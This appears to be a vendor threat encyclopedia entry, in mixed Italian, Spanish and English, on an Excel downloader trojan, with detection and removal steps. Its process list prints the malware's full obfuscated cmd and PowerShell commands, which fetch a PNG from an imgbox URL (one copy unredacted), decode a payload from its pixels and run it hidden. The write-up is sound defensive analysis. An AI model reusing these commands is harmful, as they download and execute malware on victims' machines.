Analizzato da: Raighen Sanchez   
 

Trojan-Downloader.MSExcel.Agent.jt (MICROSOFT)

 Piattaforma:

Windows

 Valutazione del rischio complessivo:
 Potenziale dannoso: :
 Potenziale di distribuzione: :
 Reported Infection:
 Informazioni esposizione: :
Basso
Medio
Alto
Critico

  • Tipo di minaccia informatica:
    Trojan

  • Distruttivo?:
    No

  • Crittografato?:
    No

  • In the wild::
    Sì

  Panoramica e descrizione

Canale infezione: Descargado de Internet, Eliminado por otro tipo de malware

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

  Dettagli tecnici

Dimensione file: 64,512 bytes
Tipo di file: XLS
Residente in memoria: No
Data di ricezione campioni iniziali: 11 dicembre 2024
Carica distruttiva: Connects to URLs/IPs, Drops files

Detalles de entrada

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Instalación

Infiltra los archivos siguientes:

  • %User Temp%\{random}.{random}.ps1 → deleted afterwards
  • %User Temp%\{random}.{random}.psm1 → deleted afterwards

(Nota: %User Temp% es la carpeta Temp del usuario activo, que en el caso de Windows 2000(32-bit), XP y Server 2003(32-bit) suele estar en C:\Documents and Settings\{nombre de usuario}\Local Settings\Temp y en el case de Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) y 10(64-bit) en C:\Users\{nombre de usuario}\AppData\Local\Temp).

)

Agrega los procesos siguientes:

  • cmd.exe /V:ON/C"set lW=o.crm`VPx57^^l(SEX]L8{-Y=GZU:K%0B[9ia2eb*yftp_/T$j1'vdMF^|C\Hwk^&)WAIDn+}h4,sg6;3 R""ON&&for %9 in (15,2,70,82,45,78,78,47,71,24,10,23,32,42,22,7,15,17,13,50,53,50,68,50,64,46,70,50,62,78,76,78,78,78,47,71,19,16,10,23,78,32,42,40,43,37,17,13,50,14,40,73,42,15,4,1,46,50,68,50,15,8,50,68,50,46,50,68,50,1,15,83,2,50,68,50,0,50,68,50,66,65,67,74,50,62,76,78,78,1,13,81,20,49,69,20,30,69,81,78,21,41,50,12,50,72,50,73,35,50,62,78,13,50,35,50,62,78,13,81,20,30,69,20,36,69,20,49,69,81,78,21,41,50,83,37,59,50,72,50,2,42,50,72,50,21,82,38,48,37,50,62,76,11,11,11,61,13,81,20,30,69,20,49,69,81,21,41,78,50,64,52,52,21,46,50,72,50,40,43,37,50,62,78,21,64,73,73,37,4,38,12,40,83,35,4,37,78,81,14,40,73,42,37,4,1,66,3,35,59,34,67,74,81,76,47,20,74,69,23,11,11,11,61,13,50,35,50,62,78,13,81,20,71,69,20,36,69,20,49,69,20,30,69,20,77,69,81,21,41,78,50,1,31,34,50,72,50,34,67,74,50,72,50,59,50,72,50,42,4,35,43,50,72,50,14,40,73,42,37,4,1,66,3,35,50,62,13,13,11,11,11,61,13,50,35,50,62,78,13,81,20,30,69,20,49,69,20,77,69,20,36,69,81,78,21,41,78,50,83,37,42,1,50,72,50,63,37,50,72,50,42,50,72,50,38,56,12,34,37,67,50,62,62,1,13,81,20,49,69,20,30,69,81,78,21,41,50,43,37,67,79,37,35,52,50,72,50,82,50,62,1,65,67,51,0,60,37,13,81,70,42,42,43,73,27,45,45,34,4,35,74,37,73,36,1,34,4,74,38,0,8,1,2,0,4,45,2,35,45,19,19,45,64,36,25,14,12,63,75,14,44,0,1,43,67,74,81,62,62,76,47,20,82,69,23,11,11,11,61,13,50,35,50,62,78,13,81,20,30,69,20,49,69,81,21,41,50,31,40,42,37,50,72,50,32,17,50,62,78,49,19,75,30,76,13,30,1,1,36,62,11,11,11,55,1,13,50,29,50,62,20,41,0,3,37,35,2,70,13,47,20,8,69,78,34,67,13,30,1,1,75,49,33,62,62,20,47,20,43,69,23,47,20,74,69,1,13,81,20,30,69,20,49,69,81,78,21,41,78,50,24,37,42,7,34,50,72,50,8,37,12,50,62,1,65,67,51,0,60,37,13,47,20,8,69,72,47,20,44,69,62,76,47,20,0,69,32,47,20,44,69,39,75,36,30,68,47,20,16,69,17,23,13,78,78,47,71,74,10,27,27,13,81,20,49,69,20,30,69,81,21,41,78,50,12,0,0,3,50,72,50,54,50,62,1,65,67,51,0,60,37,13,13,47,20,43,69,1,81,31,81,21,38,35,67,52,49,9,62,39,49,75,62,21,38,0,3,13,47,20,43,69,1,81,74,81,78,21,38,35,67,52,78,49,9,62,62,69,69,76,11,11,11,61,13,81,20,30,69,20,49,69,81,78,21,41,50,65,50,72,50,15,16,50,62,13,78,13,78,18,14,78,78,51,64,79,65,35,38,18,15,27,71,19,8,10,78,62,1,6,35,12,26,15,27,27,81,35,5,73,2,34,34,81,1,81,74,37,42,5,73,5,46,3,65,67,24,81,13,47,20,82,69,32,30,1,1,49,77,71,49,17,62,62,78,55,2,27,57,59,65,67,52,82,59,73,57,14,40,14,42,37,4,77,36,57,56,12,34,7,1,15,8,15,78,61,61,56,53,52,1,15,8,37,78,78,78,45,2,78,43,0,59,37,3,14,58,15,18,18,78,21,15,8,37,56,26,46,65,82,83,43,82,12,78,31,22,7,35,73,73,78,78,21,83,0,67,34,83,78,21,59,65,67,52,82,59,14,46,22,78,58,65,66,66,15,67,78,21,67,82,43,79,82,54,34,78,78,21,73,42,78,78,21,83,0,12,82,74,82,78,78,78,78,78,1,78,13,78,78,57,81,20,30,69,20,49,69,20,36,69,57,81,78,21,41,78,50,64,52,52,50,72,13,78,57,81,20,30,69,20,49,69,57,81,78,21,41,50,21,50,72,50,46,40,43,50,78,62,72,50,37,50,78,78,62,78,21,64,73,73,37,4,78,13,57,81,20,77,69,20,49,69,20,9,69,20,30,69,20,71,69,20,36,69,57,81,78,21,41,78,13,78,78,57,81,20,36,69,20,49,69,20,30,69,57,81,78,21,41,50,52,50,72,50,1,63,34,67,50,72,50,37,4,50,78,78,62,72,50,40,73,50,72,50,73,50,72,50,14,50,72,13,78,57,81,20,36,69,20,49,69,20,30,69,57,81,21,41,78,50,54,0,3,4,50,72,50,1,50,72,50,0,59,73,50,62,72,50,42,50,62,78,78,78,76,78,78,78,11,11,11,61,78,78,13,78,78,78,47,20,37,5,83,6,5,27,2,82,53,73,5,43,37,2,69,32,71,72,49,9,72,36,9,17,21,48,82,65,83,50,50,62,78,13,78,78,13,78,32,14,22,14,42,37,53,1,63,34,83,66,0,63,73,1,54,0,3,53,14,1,56,18,65,7,38,82,35,79,52,17,27,27,13,57,81,20,30,69,20,49,69,57,81,78,21,41,78,50,24,50,72,13,57,81,20,30,69,20,49,69,57,81,78,21,41,50,37,50,72,50,42,42,15,8,46,50,78,62,62,1,57,81,34,5,83,51,5,0,28,15,57,81,13,78,78,62,78,78,62,78,78,62,78,76,78,78,32,14,40,73,42,37,4,1,63,34,67,52,0,59,73,1,54,0,3,4,73,1,56,12,34,43,38,0,35,3,52,17,27,27,13,57,81,20,30,69,20,49,69,57,81,78,21,41,50,56,12,50,72,50,37,35,3,50,78,62,1,57,81,34,5,83,51,82,5,60,15,57,81,13,78,62,84)do set Rc=!Rc!!lW:~%9,1!&&if %9 geq 84 cmd /C!Rc:~-1334!"
  • cmd /CEchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') -AssemblyName "System.Drawing";${g}=^^^&('a') ("{4}{2}{1}{0}{3}"-f '.Bi','ing','w','tmap','System.Dra')((^^^&('a') ("{0}{1}{3}{2}" -f 'Net.','We','t','bClien')).("{1}{0}" -f'penRead','O').Invoke("https://images2.imgbox.com/ca/88/A2ZSlW6S_o.png"));${O}=^^^&('a') ("{0}{1}"-f'Byte','[]') 1860;(0..2)^^^|.('%'){foreach(${x} in(0..619)){${p}=${g}.("{0}{1}" -f 'GetPi','xel').Invoke(${x},${_});${o}[${_}*620+${X}]=( $4g7::("{1}{0}"-f 'loor','F').Invoke((${p}."B"-band15)*16)-bor(${p}."g" -band 15))}};^^^&("{0}{1}" -f'I','EX')( ( LS vARIabLE:48x7 ).ValUE::"a`scii"."get`s`TrInG"(${O}[0..1341])) |c:\wIndOws\SyStem32\CliP.ExE &&CMd.Exe /c powerSHELL -ExeCUTIONpOl BYPass -NoniN -wIndOwSTY HIDDEn -nOpROFi -st -NolOgO . ( \"{0}{1}{2}\" -f 'Add',( \"{0}{1}\" -f'-','Typ' ),'e' ) -Assem (\"{3}{1}{5}{0}{4}{2}\" -f ( \"{2}{1}{0}\" -f'd','.Win','em' ),'ys','s','S',( \"{2}{1}{0}\"-f 'Form','.','ows'),'t') ; ^^^& ( ${e`NV`:cOMs`pec}[4,15,25]-jOIN'') ( ( [SYSteM.WiNDoWs.ForMS.CLIPbOaRd]::(\"{0}{1}\" -f 'G',(\"{0}{1}\" -f'e','ttExT' )).\"i`Nv`oKE\"( ) ) ) ; [System.Windows.Forms.Clipboard]::(\"{0}{1}\" -f'Cl','ear' ).\"i`NvO`kE\"
  • C:\Windows\system32\cmd.exe /S /D /c" EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^&("{0}{1}"-f 'Add-T','ype') -AssemblyName "System.Drawing";${g}=^&('a') ("{4}{2}{1}{0}{3}"-f '.Bi','ing','w','tmap','System.Dra')((^&('a') ("{0}{1}{3}{2}" -f 'Net.','We','t','bClien')).("{1}{0}" -f'penRead','O').Invoke("https://{BLOCKED}.imgbox.com/ca/88/A2ZSlW6S_o.png"));${O}=^&('a') ("{0}{1}"-f'Byte','[]') 1860;(0..2)^|.('%'){foreach(${x} in(0..619)){${p}=${g}.("{0}{1}" -f 'GetPi','xel').Invoke(${x},${_});${o}[${_}*620+${X}]=( $4g7::("{1}{0}"-f 'loor','F').Invoke((${p}."B"-band15)*16)-bor(${p}."g" -band 15))}};^&("{0}{1}" -f'I','EX')( ( LS vARIabLE:48x7 ).ValUE::"a`scii"."get`s`TrInG"(${O}[0..1341])) "
  • c:\wIndOws\SyStem32\CliP.ExE
  • CMd.Exe /c powerSHELL -ExeCUTIONpOl BYPass -NoniN -wIndOwSTY HIDDEn -nOpROFi -st -NolOgO . ( \"{0}{1}{2}\" -f 'Add',( \"{0}{1}\" -f'-','Typ' ),'e' ) -Assem (\"{3}{1}{5}{0}{4}{2}\" -f ( \"{2}{1}{0}\" -f'd','.Win','em' ),'ys','s','S',( \"{2}{1}{0}\"-f 'Form','.','ows'),'t') ; ^& ( ${e`NV`:cOMs`pec}[4,15,25]-jOIN'') ( ( [SYSteM.WiNDoWs.ForMS.CLIPbOaRd]::(\"{0}{1}\" -f 'G',(\"{0}{1}\" -f'e','ttExT' )).\"i`Nv`oKE\"( ) ) ) ; [System.Windows.Forms.Clipboard]::(\"{0}{1}\" -f'Cl','ear' ).\"i`NvO`kE\"( )
  • powerSHELL -ExeCUTIONpOl BYPass -NoniN -wIndOwSTY HIDDEn -nOpROFi -st -NolOgO . ( \"{0}{1}{2}\" -f 'Add',( \"{0}{1}\" -f'-','Typ' ),'e' ) -Assem (\"{3}{1}{5}{0}{4}{2}\" -f ( \"{2}{1}{0}\" -f'd','.Win','em' ),'ys','s','S',( \"{2}{1}{0}\"-f 'Form','.','ows'),'t') ; & ( ${e`NV`:cOMs`pec}[4,15,25]-jOIN'') ( ( [SYSteM.WiNDoWs.ForMS.CLIPbOaRd]::(\"{0}{1}\" -f 'G',(\"{0}{1}\" -f'e','ttExT' )).\"i`Nv`oKE\"( ) ) ) ; [System.Windows.Forms.Clipboard]::(\"{0}{1}\" -f'Cl','ear' ).\"i`NvO`kE\"( )

Otros detalles

It connects to the following possibly malicious URL:

  • https://{BLOCKED}.imgbox.com/ca/88/A2ZSlW6S_o.png

  Soluzioni

Motore di scansione minimo: 9.800
Primo file di pattern VSAPI: 19.782.03
Data di pubblicazione del primo pattern VSAPI: 17 dicembre 2024
Versione pattern VSAPI OPR: 19.783.00
Data di pubblicazione del pattern VSAPI OPR: 18 dicembre 2024

Step 2

Los usuarios de Windows ME y XP, antes de llevar a cabo cualquier exploración, deben comprobar que tienen desactivada la opción Restaurar sistema para permitir la exploración completa del equipo.

Step 3

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 4

Buscar y eliminar este archivo

[ learnMore ]
Puede que algunos de los archivos del componente estén ocultos. Asegúrese de que tiene activada la casilla Buscar archivos y carpetas ocultos en la opción Más opciones avanzadas para que el resultado de la búsqueda incluya todos los archivos y carpetas ocultos.
  • %User Temp%\{random}.{random}.ps1
  • %User Temp%\{random}.{random}.psm1

Step 5

Explorar el equipo con su producto de Trend Micro para eliminar los archivos detectados como Trojan.O97M.POWLOAD.K En caso de que el producto de Trend Micro ya haya limpiado, eliminado o puesto en cuarentena los archivos detectados, no serán necesarios más pasos. Puede optar simplemente por eliminar los archivos en cuarentena. Consulte esta página de Base de conocimientos para obtener más información.


Sondaggio